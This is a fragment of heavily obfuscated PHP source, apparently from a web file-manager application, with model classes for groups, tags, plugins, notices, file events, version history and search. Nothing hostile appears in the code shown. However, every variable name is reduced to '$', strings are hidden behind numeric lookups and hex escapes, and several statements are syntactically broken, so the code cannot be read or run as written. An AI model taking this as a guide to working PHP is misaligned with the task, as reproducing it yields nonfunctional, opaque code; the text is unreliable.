} $ = array($[1963] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1963], 
$); $this->_listDataApply($); return $; } public function listSearch($) { $ =& $_SERVER[]; $ = trim($ 
[$[2061]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($); } $ 
 = array($[454] => array()); foreach ($ as $) { if (!trim($)) { continue; } $[$[2061]] = $; $ = $t 
his->listSearchNow($); $[$[454]] = array_merge($[$[454]], $[$[454]]); } $[$[454]] = array_u 
nique_by_key($[$[454]], $[1963]); $[$[451]] = array($[452] => count($[$[454]]), $[448] => 20 
, $[438] => 1, $[453] => 1); return $; } public function listSearchNow($) { $ =& $_SERVER[]; $ = trim($ 
[$[2061]]); $ = isset($[$[2062]]) ? $[$[2062]] : !1; if (!trim($)) { return !1; } $ = str_rep 
lace($[2063], $[2064], $); $ = array($[1963] => array($[467], "{$}%"), $[32] => array($[467], " 
%{$}%"), $[1074] => $[2065]); if ($) { $ = $this->getInfoSimple($); $ = $[$[592]] . $ 
. $[621]; $ = array($, array($[592] => array($[467], $))); } $ = $this->parseWhereLike($); $ = $thi 
s->_makeOrder()->where($)->selectPage(20); $ = $ ? $ : array($[454] => array(), $[451] => array()); if (!$ 
 || count($[$[454]]) < 5 && Input::check($, $[403])) { $ = $this->groupChildrenAll($); $ = $this->_s 
earchFromMeta($[545], $, 10, $); $ = $this->_searchFromMeta($[546], $, 10, $); $ = array_merge($, 
$, $[$[454]]); $[$[454]] = array_unique_by_key($, $[1963]); $[$[451]][$[452]] = count( 
$[$[454]]); $[$[451]][$[453]] = ceil($[$[451]][$[452]] / $[$[451]][$[448]]); } $t 
his->_listDataApply($[$[454]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[]; if (!$ 
) { return !1; } if (!is_array($)) { $ = array($); } $ = $; foreach ($ as $) { $ = $this->getInfoSim 
ple($); $ = array($[592] => array($[467], $[$[592]] . $ . $[621])); $ = $this->field($[1 
963])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1963])); } return array_unique( 
$); } private function _searchFromMeta($, $, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ 
 = array($[97] => $, $[459] => array($[467], "%{$}%")); $ = $this->parseWhereLike($); if ($ 
) { $[$[1963]] = array($[7], $); } $ = Model($[2066])->where($)->limit($)->select(); if (!$ 
) { return array(); } $ = array_to_keyvalue($, $[12], $[1963]); $ = $this->where(array($[2055] => array( 
$[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($) { $ = 
array($); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if 
(!$) { return; } $ = array_to_keyvalue($, $[12], $[1963]); $this->_listAppendChildren($); $this->_listAppendChildr 
enMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } priv 
ate function _listAppendChildren(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1963]); $ 
= array($[192] => array($[7], $)); $ = array($[192], $[2067] => $[573]); $ = $this->field($)->where($ 
)->group($[192])->select(); $ = array_to_keyvalue($, $[192], $[573]); foreach ($ as &$) { $ = $ 
[$[1963]]; $[$[2068]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppend 
ChildrenMember(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1963]); $ = array($[1963] 
=> array($[7], $)); $ = array($[1963], $[2067] => $[573]); $ = Model($[2057])->field($)->where( 
$)->group($[1963])->select(); $ = array_to_keyvalue($, $[1963], $[573]); foreach ($ as &$) { $ = 
$[$[1963]]; $[$[2069]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _list 
AppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[1963] => array($[7], $)); $ = Model($[205 
6])->where($)->select(); $ = array_to_keyvalue_group($, $[1963]); foreach ($ as &$) { $ = array_to_keyvalue($ 
, $[97], $[459]); } unset($); foreach ($ as &$) { $[$[547]] = array(); if (isset($[$[$[1 
963]]])) { $[$[547]] = $[$[$[1963]]]; } } unset($); } protected function parentLevelArray($) { $ =& 
$_SERVER[]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[228]); return $; 
} protected function parentInGroup($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return 
!0; } $ = $this->parentLevelArray($[$[592]]); $[] = $; foreach ($ as $) { if (in_array($ . $[12], 
$)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array(); forea 
ch ($ as &$) { $[$[$[1963]]] = $[$[32]]; $ = $this->parentLevelArray($[$[592]]); fore 
ach ($ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $ => $) { if ($ 
) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $ = $GLOBALS[$[6]][$[ 
92]][$[2070]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$[ 
592]]); $ = $[12]; foreach ($ as $ => $) { if ($ && $ == 0) { continue; } $ .= $[$] . 
$[8]; } if ($) { $ .= $[$[32]]; } $[$[597]] = str_replace($[600], $[8], $); } unset 
($); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[897])->listSourceRoot(Sou 
rceModel::TYPE_GROUP, $); $ = array_to_keyvalue($, $[577]); $ = array_remove_key($, $[577]); foreach ($ as & 
$) { $[$[90]] = $[$[$[1963]]] ? $[$[$[1963]]] : array(); } unset($); } protected function group 
Merge($) { $ = array_values(array_unique($)); $ = array(); for ($ = 0; $ < count($); $++) { 
$ = !1; for ($ = 0; $ < count($); $++) { if ($ == $) { continue; } if ($this->isParentOf($[$ 
], $[$])) { $ = !0; break; } } if (!$) { $[] = $[$]; } } return $; } protected function i 
sParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($) 
; $ = $this->getInfoSimple($); $ = $[$[592]] . $ . $[50]; if (substr($[$[592]], 0, strlen($)) 
== $) { return !0; } return !1; } public function groupShowRoot($, $ = false) { $ =& $_SERVER[]; $ = $this->g 
etInfo($); if (!$) { return array(); } $ = $this->parentLevelArray($[$[592]]); $ = array($); if (count 
($) == 0) { return $; } if ($ && count($) == 1) { return $; } if (!$[$[547]] || !isset($[$[54 
7]][$[2053]]) || $[$[547]][$[2053]] == $[849]) { return $this->groupShowRoot($[count($) - 1], $); } 
if ($[$[547]][$[2053]] == $[442]) { $ = explode($[50], $[$[547]][$[2054]]); if ($) { $ 
 = array_merge($, $); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ = $ 
[1963]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $) { $ = $; $ = array(); w 
hile ($[$[192]] != 0) { $[] = $[$[192]]; $ = $[$[$[192]]]; } $[] = 0; $ = $[50] . 
implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($[$], $[$[32]]); $this->where(array($ 
 => $[$]))->save(array($[660] => $)); } return $; } public function groupNameAuto($, $) { $ =& $ 
_SERVER[]; $ = $this->where(array($[485] => $))->getField($[32], !0); if (!$ || !in_array($, $)) { ret 
urn $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "({$})"; if (!in_array($, $)) { r 
eturn $; } } } public function groupSwitch($, $) { $ =& $_SERVER[]; $ = array($[1963] => array($[7 
], array($, $))); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[1963]); if (!isset($[$ 
]) || !isset($[$]) || $[$][$[192]] == 0) { return !1; } $ = array($[1963] => $); $ = Mode 
l($[2057])->where($)->select(); if (!$) { $ = array(); } foreach ($ as $) { $ = $[$[1764]]; $ 
 = array($[1764] => $, $[1963] => $); $ = Model($[2057])->where($)->find(); if (!$) { $ = 
array($ => $[$[2071]]); Model($[606])->userGroupAdd($, $); } Model($[606])->userGroupRemove($, $ 
); } $ = array($[190] => 2, $[192] => 0, $[493] => 1, $[577] => array($[7], array($, $))); $ 
 = Model($[897])->where($)->field($[2072])->select(); $ = array_to_keyvalue($, $[577], $[193]); $ 
= !empty($[$]) ? $[$] : !1; if ($) { if (!$[$]) { $[$] = Model($[897])->groupRootAdd($ 
); } $ = $[$]; $ = array($[192] => $); $ = Model($[897])->where($)->field($[2073])-> 
select(); if (!$) { $ = array(); } Model($[897])->moveClearAuth = !1; foreach ($ as $) { $ = $[$[493 
]] == $[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[897])->move($[$[193]], $, $); } Model($[897])- 
>moveClearAuth = !0; $ = array($[190] => 2, $[577] => $); $ = array($[577] => $); Model($[2074])- 
>where($)->save($); Model($[2075])->where($)->save($); } $this->_changeChildLevel($[$], $[$ 
], !0); $this->where(array($[192] => $))->save(array($[192] => $)); $this->_clearChildrenCache($[$]); retur 
n !0; } } class GroupTagModel extends ModelBase { protected $tableName = "user_fav"; protected function cacheFunctio 
nAlias($) { $ =& $_SERVER[]; return array($[2076] => array($[0], $[2077]), $[2078] => array($[0], $ 
[2079])); } protected function get($) { $ =& $_SERVER[]; $ = Model($[593])->metaGet($, $[2080]); $ 
 = json_decode($, !0); return $ ? $ : array($[2081] => $[91], $[454] => array()); } protected functio 
n set($, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2081] => $[91], $[454] => array()); r 
eturn Model($[593])->metaSet($, $[2080], json_encode($)); } protected function getByTagID($, $) { $ =& $ 
_SERVER[]; if (!$ || !$) { return !1; } if (!Model($[593])->getInfoSimple($)) { return !1; } $ = $this->get($ 
); if (!$ || !isset($[$[454]])) { return !1; } $ = array_find_by_field($[$[454]], $[483], $); retur 
n is_array($) ? $ : !1; } public function listSource($, $) { $ =& $_SERVER[]; if ($ && !is_array($)) { 
$ = array($); } $ = $this->listData($); $ = array(); foreach ($ as $) { $ = $[$[87]]; if (!$ 
) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[508]]; } $ = array 
(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array 
($, $)) { $ = !1; break; } } if ($) { $[] = $; } } if (!$) { return array(); } $ = array($[49 
9] => array($[500], $), $[577] => $, $[190] => SourceModel::TYPE_GROUP); $ = Model($[1414])->listSource($ 
); if (!$ || count($) == $[$[451]][$[452]]) { return $; } $ = array(); $ = array_to_keyvalue($[$ 
[85]], $[12], $[193]); $ = array_to_keyvalue($[$[86]], $[12], $[193]); $ = array_merge($, $ 
); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $ 
); } return $; } protected function listData($) { $ =& $_SERVER[]; $ = array($[1755] => 0, $[565] => arra 
y($[2082], 0), $[504] => $[2083] . $); $ = $[2084]; $ = $this->field($)->where($)->order($[208 
5])->select(); return $ ? $ : array(); } protected function addToTag($, $, $) { $ =& $_SERVER[]; if (!$th 
is->getByTagID($, $) || !$) { return !1; } if (!Model($[897])->pathInfo($)) { return !1; } $ = array($[17 
55] => 0, $[565] => $, $[503] => $, $[504] => $[2086] . $, $[502] => $[12], $[1967] = 
> 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $) { $ 
 =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ 
 = array($[1755] => 0, $[565] => $, $[504] => $[2086] . $, $[503] => $); return $this->where($) 
->delete(); } protected function removeByTag($, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $)) { ret 
urn !1; } $ = array($[1755] => 0, $[565] => $, $[504] => $[2086] . $); return $this->where($)->delet 
e(); } protected function removeBySource($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (is_array($ 
)) { $ = array($[7], $); } $ = array($[1755] => 0, $[503] => $, $[565] => array($[108 
8], 0), $[504] => $[2086] . $); return $this->where($)->delete(); } } class PluginModel extends ModelBaseLight { publi 
c $optionType = "System.pluginList"; public $field = array("name", "st\ 
x61tus", "regiest", "config"); public function loadList($ = false) { $ = array_t 
o_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $ 
 =& $_SERVER[]; Hook::trigger($[2087]); $ = $this->loadPluginList(); foreach ($ as $ => $) { $ = $th 
is->appAllow($, $); if (!$) { continue; } foreach ($[$[2088]] as $ => $) { Hook::bind($, $); } 
} Hook::trigger($[2089]); Hook::trigger(ACTION); } public function appAllow($, $, $ = true) { $ =& $_SERVER[] 
; $ = PLUGIN_DIR . $ . $[2090]; if (!is_array($) || !is_array($[$[2088]]) || $[$[823]] != 1 || !is_file 
($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2091]] || !$GLOBALS[$[6]][$[2092]]) { return !0; 
} $ = explode($[50], strtolower($GLOBALS[$[6]][$[2092]])); return in_array(strtolower($), $) ? !1 : !0; } if 
($ && !Action($[2093])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ =& $_SERVER[ 
]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $[2094]); } $this->remove($[$[483]] 
); } public function changeStatus($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { Hook::apply($ 
 . $[2095]); } $this->update($[$[483]], array($[2096] => $)); } public function appRegist($, $) { $ 
=& $_SERVER[]; $ = $this->loadList($); if ($) { $this->update($[$[483]], array($[2088] => $)); } els 
e { $ = array($[32] => $, $[2088] => $, $[823] => 0, $[6] => $this->getConfigDefault($)); $this->insert 
($); } } public function getConfigDefault($) { $ =& $_SERVER[]; $ = array(); $ = $this->getPackageJson($ 
); if (!$ && is_array($[$[2097]])) { return $; } foreach ($[$[2097]] as $ => $) { if (!isset($ 
[$[459]]) || isset($[$])) { continue; } $[$] = $[$[459]]; } return $; } public function getPacka 
geJson($) { return Hook::apply($ . $_SERVER[][2098]); } public function getConfig($, $ = false) { $ =& $_SERVER 
[]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (! 
$ || $) { $ = $this->getConfigDefault($); } return $; } public function setConfig($, $ = false) { $ 
=& $_SERVER[]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[6]]; if ($ == !1) { $ = arra 
y(); $ = $this->getConfigDefault($); } foreach ($ as $ => $) { $[$] = is_string($) ? trim($) : 
$; } $this->update($[$[483]], array($[6] => $)); } public function viewList() { $ =& $_SERVER[]; $ = 
$this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ => $) { $ 
 = $; unset($[$[2088]], $[$[6]]); $ = PLUGIN_DIR . $[$[32]] . $[2090]; if (!is_file($ 
)) { continue; } $ = Hook::apply($[$[32]] . $[2098]); if (!is_array($)) { continue; } $[$] = array_merge($ 
, $); if ($[$[6]][$[1678]] != $[$[1652]]) { Hook::apply($[$[32]] . $[2095]); $[$[6]] 
[$[1678]] = $[$[1652]]; $this->update($[$[483]], array($[6] => $[$[6]])); } } return $; } private fu 
nction loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[2099]) { return $; } $ 
 = Hook::trigger($[2100], $); if ($ && !$) { die; } return $ ? $ : $; } private function pluginScan($ 
) { $ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $, 0); foreach ($ as $) { $ = get_path_this($); 
if (isset($[$]) || !file_exists($ . $[2101]) || !file_exists($ . $[2090])) { continue; } Hook::apply($ 
. $[2095]); } } } goto d; a: class SystemNoticeModel extends ModelBaseLight { public $optionType = "Syste 
m.noticeList"; public $field = array("name", "content", "aut\x 
68", "mode", "time", "type", "level", "enable", "sort"); pu 
blic function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } publi 
c function add($) { $ =& $_SERVER[]; $ = time(); if ($[$[16]] == $[2426]) { $ = strtotime($ 
[$[206]]); } $[$[206]] = $; return parent::insert($); } public function update($, $) { $ =& $_SERVE 
R[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($[$[16]] == $[2426]) { $ = st 
rtotime($[$[206]]); } $[$[206]] = $; return parent::update($, $); } public function remove($) { $ 
 = $this->listData($); if (!$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($); } public function s 
ort($, $) { return parent::update($, $); } public function enable($, $) { return parent::update($, array($_ 
SERVER[][2427] => $)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2428]; $this- 
>modelType = $[2429]; $this->field = array($[2430], $[32], $[206], $[33], $[2431], $[823], $[226]); 
} public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][483], !0); } publi 
c function userNoticeAdd($) { $ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($[2430], $[$[483 
]]); if ($) { return !0; } $ = array($[2430] => $[$[483]], $[32] => $[$[32]], $[206] => $[$[206]] 
, $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2431] => isset($[$[2431]]) ? $[$[2431]] : 0, $[823] => 
0, $[226] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent 
::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "system_op 
tion"; protected $jsonField = array("menu", "role", "roleGroup", "re\x6 
7ist", "email"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "S 
ystemOption_{$}"; } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ( 
$ == $[12]) { return $GLOBALS[$[6]][$[465]]; } } } class SystemRecordModel extends ModelBaseLight { } goto B; e 
: class SourceEventModel extends ModelBase { protected $tableName = "io_source_event"; p 
rotected $dataAuto = array(array("createTime", "time", "insert", "fun\x 
63tion"), array("desc", '', "insert,update,select", "j 
son")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this- 
>eventSave = !0; } public function addEvent($, $, $ = '') { $ =& $_SERVER[]; if (!$this->eventSave) { return; } $ 
 = Model($[1414])->sourceInfo($); if (!$) { return !1; } if ($this->isDisableEvent($, $)) { return; } if ($ && is 
_string($)) { $ = array($[2002] => $); } $ = defined($[2189]) ? USER_ID : 0; $ = array($[499] => $, 
$[2190] => $[$[192]], $[2191] => $[$[32]], $[590] => !empty($[$[590]]) ? $[$[590] 
] : $[12], $[1755] => $, $[504] => $, $[1757] => $); $this->addSystemLog($, $); unset($[$ 
[2191]], $[$[590]]); return $this->add($); } private function addSystemLog($, $) { $ =& $_SERVER[]; 
if ($ == $[2192]) { $ = $[$[534]][$[2193]]; } else { if (in_array($, array($[1942], $[2194]))) 
{ $ = $[$[534]][$[171]]; } } $ = array_merge($, array($[2195] => $[$[193]], $[2196] => $ 
[$[2196]])); Hook::trigger($[2197], $[2198] . $, $); Model($[1906])->addLog($[2198] . $, $); 
} private function isDisableEvent($, $) { $ =& $_SERVER[]; if ($[$[190]] != SourceModel::TYPE_SYSTEM) { retu 
rn !1; } if ($ == $[1931]) { return !1; } return !0; } public function eventCreate($, $) { $ =& $_SERVER[]; $ 
 = Model($[1414])->sourceInfo($); $ = array($[2193] => $, $[32] => $[$[32]]); return $this->a 
ddEvent($, $[2192], $); } public function eventFileEdit($) { $ =& $_SERVER[]; $ = array($[2199] => 
$_SERVER[$[2200]], $[2201] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2202]])) { $[$[2202]] = $[9 
1]; } return $this->addEvent($, $[1932], $); } public function eventRecycle($, $) { return $this->addEvent($, $ 
_SERVER[][2194], $); } private static $_removeLast = ''; public function eventRemove($) { $ =& $_SERVER[]; self: 
:$_removeLast = $; $ = Model($[1414])->sourceInfo($); $ = array_field_key($, array($[193], $[549], $ 
[513], $[592])); $ = array($[171] => $[$[32]], $[2201] => ACTION, $[2203] => $); return $this->add 
Event($[$[192]], $[1931], $); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[ 
][1942], $); } public function eventMove($, $, $) { $ =& $_SERVER[]; if (self::$_removeLast == $) { return; } 
$ = Model($[1414]); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = $->sourceInfo($); $ 
 = array($[1237] => $, $[2204] => $[$[32]], $[2180] => !empty($[$[590]]) ? $[$[590]] : 
$[12], $[1238] => $, $[2205] => $[$[32]], $[2206] => !empty($[$[590]]) ? $[$[590]] : 
$[12]); $this->addEvent($, $[628], $); $ = $->sourceInfo($); $ = array($[193] => $[$[193]], 
$[32] => $[$[32]]); $this->addEvent($, $[2207], $); } public function eventCopy($) { $this->eventCreate($ 
, $_SERVER[][626]); } public function eventRename($, $, $) { $ =& $_SERVER[]; $ = array($[1237] = 
> $, $[1238] => $); return $this->addEvent($, $[1428], $); } public function eventAddComment($, $) { r 
eturn $this->addEvent($, $_SERVER[][2208], $); } public function eventAddDesc($, $) { return $this->addEvent($ 
, $_SERVER[][2209], $); } public function listBySource($) { $ =& $_SERVER[]; $ = Model($[1414])->sour 
ceInfo($); $ = array($[499] => $); if ($[$[493]] == $[91]) { $ = Model($[1414])->listSearchChildre 
n($, 20000); $[] = $ . $[329]; $ = array($[193] => array($[7], $)); } $ = $this->where($)->order($ 
[2210])->selectPage(); if ($[$[451]][$[452]] == 0) { $[$[451]][$[452]] = 1; $[$[454]] = array(array($ 
[499] => $, $[2190] => $[$[192]], $[1755] => $[$[535]], $[504] => $[2211], $[505] => 
$[$[231]], $[1757] => $[12])); } return $this->eventListParse($, $); } private function eventListParse($ 
) { $ =& $_SERVER[]; $ = $$[454]]; $ = array_to_keyvalue($, $[12], $[193]); $ = array_ 
to_keyvalue($, $[12], $[2196]); foreach ($ as $) { $ = $[$[534]]; if ($[$[33]] == $[ 
628] && isset($[$[1237]])) { $[] = $[$[1237]] . $[12]; $[] = $[$[1238]] . $[12]; } 
if ($[$[33]] == $[2207] && isset($[$[193]])) { $[] = $[$[193]] . $[12]; } } $ = arr 
ay_merge($, $, array($ . $[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($, $ 
[12], $[1764])); $ = Model($[606])->userListInfo($); $ = Model($[897])->sourceListInfo($, !0); fore 
ach ($ as &$) { if ($[$[33]] == $[628] && isset($[$[534]][$[1237]])) { $[$[534]][$ 
[1237]] = $[$[$[534]][$[1237]]]; $[$[534]][$[1238]] = $[$[$[534]][$[1238]]]; } i 
f ($[$[33]] == $[2207] && isset($[$[534]][$[193]])) { $[$[534]][$[193]] = $[$[$ 
[534]][$[193]]]; } $[$[90]] = $[$[$[193]]]; $[$[2212]] = $[$[$[2196]]]; if ($ 
[$[33]] == $[1931]) { $[$[2212]] = $[$[90]]; $[$[2196]] = $[$[2212]][$[19 
3]]; $[$[90]] = !1; $[$[193]] = $[12]; } $[$[2139]] = $[$[$[1764]]]; } unset($) 
; $$[454]] = $; return $ public function removeBySource($) { $ = array($_SERVER[][499] => $); $this->wh 
ere($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "io_source_
 
0istory"; public function historyCount($) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($ 
) || is_int($)) { $ = array($); } $ = array($[193], $[1996] => $[573]); $ = array($[193] => array($ 
[7], $)); $ = $this->field($)->where($)->group($[193])->select(); return array_to_keyvalue($, $[193], $ 
[573]); } public function addHistory($, $ = '') { $ =& $_SERVER[]; $ = array($[499] => $[$[193] 
], $[1755] => isset($[$[537]]) ? $[$[537]] : $[$[535]], $[550] => $[$[549]], $[625] => $[ 
$[79]], $[2213] => $); if ($GLOBALS[$[6]][$[92]][$[1298]] >= 1) { $this->historyAutoClear($[$[193]]); $this->a 
dd($); } Hook::trigger($[2214], $); Model($[2215])->eventFileEdit($[$[193]]); } private function historyAutoClear 
($) { $ =& $_SERVER[]; $ = Model($[843])->get($[1320]); $ = intval($GLOBALS[$[6]][$[92]][$ 
[1298]]); $ = $ == $[1321] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 499) { return; } $ 
 = array($[499] => $); $ = $this->field($[2216])->where($)->order($[2210])->select(); if (!$ || $ 
>= count($)) { return; } $ = array_to_keyvalue($, $[12], $[483]); $ = array_slice($, $); $ = array_to 
_keyvalue($, $[12], $[549]); $ = array_slice($, $); if (!$ || !$) { return; } $ = array($[50 
1] => array($[7], $)); $this->where($)->delete(); Model($[552])->remove($); } public function listData($) { $ 
 =& $_SERVER[]; $ = array($[499] => $); $ = $[2217]; $ = $this->field($)->where($)->orde 
r($[2210])->selectPage(); $this->_listAppendUser($[$[454]]); $ = Model($[843])->get($[1320]); $ = 5; if 
($ == $[1321]) { $[$[454]] = array_slice($[$[454]], 0, $); $[$[451]] = array($[2218] => 1, 
$[2219] => 20, $[2220] => 1, $[2221] => count($[$[454]])); } return $; } protected function _listAppendUser 
(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1764]); $ = Model($[606])->userLis 
tInfo($); foreach ($ as &$) { $ = $[$[1764]]; $[$[535]] = $[$] ? $[$] : 
!1; } unset($); } public function fileInfo($) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}i 
o_file files on files.fileID = hist\x 
6fry.fileID"; return $this->alias($[2222])->where(array($[501] => $))->join($, $[2223])-> 
find(); } public function removeItem($) { $ =& $_SERVER[]; $ = array($[501] => $); $ = $this->where($ 
)->find(); if ($) { $ = $this->where($)->delete(); Model($[552])->remove($[$[549]]); return $; } r 
eturn !1; } public function removeBySource($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = arr 
ay($); } $ = array($[499] => array($[7], $)); $ = $this->field($[550])->where($)->select(); if ($) { 
$this->where($)->delete(); $ = array_to_keyvalue($, $[12], $[549]); Model($[552])->remove($); } return !0; } p 
ublic function setDetail($, $) { $ =& $_SERVER[]; return $this->where(array($[501] => $))->save(array($ 
[2213] => $)); } public function rollbackToItem($, $) { $ =& $_SERVER[]; $ = Model($[897])->sourceInfo($ 
); $this->addHistory($, LNG($[2224])); $ = $this->find($); $ = array($[549] => $[$[549]], $[79] 
=> $[$[79]], $[88] => time(), $[537] => USER_ID); Model($[897])->where(array($[193] => $))->save($); retur 
n $this->where(array($[501] => $))->delete(); } public function clearSame($) { $ =& $_SERVER[]; $ = $this->listD 
ata($); $ = array_to_keyvalue_group($, $[549]); $ = array(); $ = array(); foreach ($ as $) { if (!$ 
 || count($) <= 1) { continue; } foreach ($ as $) { $[] = $[$[549]]; $[] = $[$[483]]; } } 
if (!$) { return; } $this->where(array($[483] => array($[7], $)))->delete(); Model($[552])->remove($); } publ 
ic function userSpace() { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = array($[1755] => USER_ID); $ = "{$ 
}io_file files on files.fileID = his 
tory.fileID"; return $this->alias($[2222])->where($)->join($, $[2223])->sum($[79 
]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[] 
; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $ = $[$[169]]; $ = $[ 
7]; if (!$[$[169]]) { $ = array_to_keyvalue($, $[12], $[169]); $ = implode($[50], $); $ = 
$[2225]; } $ = explode($[50], trim($, $[50])); return array($, $); } public function listPathType($ 
) { $ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ = Model($ 
[606])->getInfo($); $ = array($[656] => SourceModel::TYPE_USER, $[592] => array($[620], $[602] . $[$ 
[90]][$[193]] . $[621]), $[657] => $, $[654] => 0, $[655] => $); return $this->listSource($); } publ 
ic function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[2061]]) && $[$[2061]]) { $ 
[$[2061]] = str_replace($[468], $[2226], trim($[$[2061]])); } $ = $this->_parseSearchWhere($); if 
(!isset($[$[513]])) { $[$[513]] = 0; } $ = $[2227]; $ = $; $ = $; $this->_listSearchB 
indPinyin($, $, $); $this->alias($[527])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct 
(!0)->field($)->where($)->selectPage($); if ($GLOBALS[$[6]][$[465]][$[466]] && Input::check($[$[ 
2061]], $[663]) && $[$[451]][$[438]] == 1 && $[$[451]][$[452]] == 0) { $ = $this->distinct(!0)->fi 
eld($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $ 
, $, $); $this->_listSearchDesc($, $, $); $this->_listSearchTag($, $, $); $this->_listSearchGrou 
pTag($, $, $); $this->_listDataApply($[$[454]]); $this->_listMake($); return $; } private function _listSea 
rchFileContent(&$, $, $, $) { $ =& $_SERVER[]; if (!$[$[2061]] || $[$[451]][$ 
[438]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[549]])) { return; } $[$[549]] = array($ 
[7], $[$[549]]); unset($[$[32]]); unset($[$[549]]); $ = $this->field($)->where($)->lim 
it($[2228])->select(); if (!$ || count($) == 0) { return; } $[$[454]] = array_merge($, $[$[454] 
]); $[$[451]][$[452]] += count($); } private function _listSearchTag(&$, $, $) { $ =& $_SERVER[ 
]; if (!$[$[2061]] || $[$[451]][$[438]] > 1) { return; } $ = Model($[2229])->listData(); $ = array(); 
$ = $[$[2061]]; foreach ($ as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin 
::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[483]]; } } if (!$) 
{ return; } $ = array($[508] => array($[7], $), $[1764] => USER_ID); $ = Model($[510])->field($[87])- 
>where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $ = array_unique($); $this->_listSearchMerge($ 
, $, $, $); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (!$[$ 
[2061]] || $[$[451]][$[438]] > 1) { return; } $ = array($[97] => $[534], $[459] => array($[46 
7], $[2063] . $[$[2061]] . $[2063])); $ = !1; if ($) { $ = $this->listSearchChildren($[$[1 
92]]); $ = array_unique($); if (!$) { return; } $[$[193]] = array($[7], $); } $ = Model($ 
